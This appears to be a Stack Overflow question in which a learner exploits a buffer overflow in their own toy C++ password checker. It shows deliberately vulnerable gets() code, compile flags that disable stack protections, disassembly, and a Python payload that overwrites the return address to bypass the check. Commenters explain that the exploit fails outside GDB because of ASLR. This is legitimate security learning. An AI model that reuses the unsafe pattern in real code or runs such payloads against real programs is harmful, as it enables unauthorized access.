2

In my attempt to understand buffer overflows I have written the sample C/C++ program. The program asks you for a password and then displays two different messages depending on if you get the password correct or not. I opened the code up and disassembled it to find a point that I could jump to so I could override getting the password right or not. I wrote a quick python script that filled the buffer with "A"s and then the return address back to where I want the code to execute.

This method works perfectly in the GDB debugger, but when I run the same thing outside the debugger, I get a segmentation fault. Does anyone know why that would be?

Here is the code:

#include <stdio.h>
#include <string.h>

int checkpw();

int main(int argc, char* argv[])
{
    int r = checkpw();

    if(r==0)
    {
        printf("Congrats, you have been granted access to the program");
    }
    else
    {
        printf("That is the incorret password. Please exit immediately.");
    }

    return 0;
}

int checkpw()
{
    char buffer[10];
    gets(buffer);
    return strcmp(buffer,"password");
}

I compiled the code with this line g++ -z execstack -g -fno-stack-protector main.cpp -o main

This produces these two disassembled code segments, the first for the main function...

   0x00000000004005bd <+0>: push   %rbp
   0x00000000004005be <+1>: mov    %rsp,%rbp
   0x00000000004005c1 <+4>: sub    $0x20,%rsp
   0x00000000004005c5 <+8>: mov    %edi,-0x14(%rbp)
   0x00000000004005c8 <+11>:    mov    %rsi,-0x20(%rbp)
   0x00000000004005cc <+15>:    callq  0x400601 <checkpw()>
   0x00000000004005d1 <+20>:    mov    %eax,-0x4(%rbp)
   0x00000000004005d4 <+23>:    cmpl   $0x0,-0x4(%rbp)
   0x00000000004005d8 <+27>:    jne    0x4005eb <main(int, char**)+46>
   0x00000000004005da <+29>:    mov    $0x4006b8,%edi
   0x00000000004005df <+34>:    mov    $0x0,%eax
   0x00000000004005e4 <+39>:    callq  0x400480 <printf@plt>
   0x00000000004005e9 <+44>:    jmp    0x4005fa <main(int, char**)+61>
   0x00000000004005eb <+46>:    mov    $0x4006f0,%edi
   0x00000000004005f0 <+51>:    mov    $0x0,%eax
   0x00000000004005f5 <+56>:    callq  0x400480 <printf@plt>
   0x00000000004005fa <+61>:    mov    $0x0,%eax
   0x00000000004005ff <+66>:    leaveq 
   0x0000000000400600 <+67>:    retq  

And now the checkpw() function...

   0x0000000000400601 <+0>: push   %rbp
   0x0000000000400602 <+1>: mov    %rsp,%rbp
   0x0000000000400605 <+4>: sub    $0x10,%rsp
   0x0000000000400609 <+8>: lea    -0x10(%rbp),%rax
   0x000000000040060d <+12>:    mov    %rax,%rdi
   0x0000000000400610 <+15>:    callq  0x4004c0 <gets@plt>
   0x0000000000400615 <+20>:    lea    -0x10(%rbp),%rax
   0x0000000000400619 <+24>:    mov    $0x400728,%esi
   0x000000000040061e <+29>:    mov    %rax,%rdi
   0x0000000000400621 <+32>:    callq  0x4004a0 <strcmp@plt>
   0x0000000000400626 <+37>:    leaveq 
   0x0000000000400627 <+38>:    retq 

Prior to running the debugger, I enter this command into the terminal python -c 'print "AAAAAAAAAAAAAAAA\x40\xdf\xff\xff\xff\x7f\x00\x00\xda\x05\x40\x00\x00\x00\x00\x00"' > /tmp/input1 which creates a file full of "A"s and more importantly write over the return address to the start of the code that prints that I have access to the program. \xda\x05\x40\x00\x00\x00\x00\x00

This works perfectly. I run gdb main and then inside the debugger I type run < /tmp/input1 and "Congrats, you have been granted access to the program" is printed to the screen.

So my attempt to do it outside the debugger fails. I run this command from the terminal... python -c 'print "AAAAAAAAAAAAAAAA\x40\xdf\xff\xff\xff\x7f\x00\x00\xda\x05\x40\x00\x00\x00\x00\x00"' | ./main and I receive a segment fault.

Matthew
  • 3,886
  • 7
  • 47
  • 84
  • Did you check ASLR? – EOF Jan 05 '18 at 20:07
  • Seems my hunch was correct, `gdb` appears to disable aslr by default. See https://stackoverflow.com/q/43944064/3185968 for how to enable it so you can have the same behavior with `gdb` and without it. – EOF Jan 05 '18 at 20:19
  • I did echo "0" > /proc/sys/kernel/randomize_va_space – Matthew Jan 05 '18 at 20:36
  • with no change in the explained behavior. – Matthew Jan 05 '18 at 20:36
  • 1
    Did the code still work in `gdb` after `set disable-randomization off`? Does `gdb` still show the same addresses for the stack? – EOF Jan 05 '18 at 21:03
  • Okay, when I do `set disable-randomization off` it stops working, I then put `set disable-randomization on` and it works again. What is going on with all that? – Matthew Jan 05 '18 at 21:06
  • reading about it here.... http://visualgdb.com/gdbreference/commands/set_disable-randomization – Matthew Jan 05 '18 at 21:08
  • 2
    You found the address of the return address in memory while running under `gdb`. `gdb` disables "address space layout randomization" (in a possibly misguided attempt to help debugging). `ASLR` *randomizes* the stack starting address. When you hardcode the stack address in your exploit, it doesn't work when `ASLR` is enabled, because the return address is not where you expect it to be (which is exactly what `ASLR` is *supposed* to do). – EOF Jan 05 '18 at 21:11
  • since this is C++ code, please remove the 'c' tag. – user3629249 Jan 05 '18 at 22:02
  • since this is C++ code, why is it including the C headers `stdio.h` and `string.h` rather than: `iostream` and `cstdio` and `cstring` and it is missing the `namespace` statement and it is using `printf()` rather than `cout` and ... – user3629249 Jan 05 '18 at 22:05
  • the function: `gets()` is from the C language, not C++. Also that function has been depreciated for many years, due to its' unsafe actions and in the more recent versions of C, it has been completely removed – user3629249 Jan 05 '18 at 22:07

0 Answers0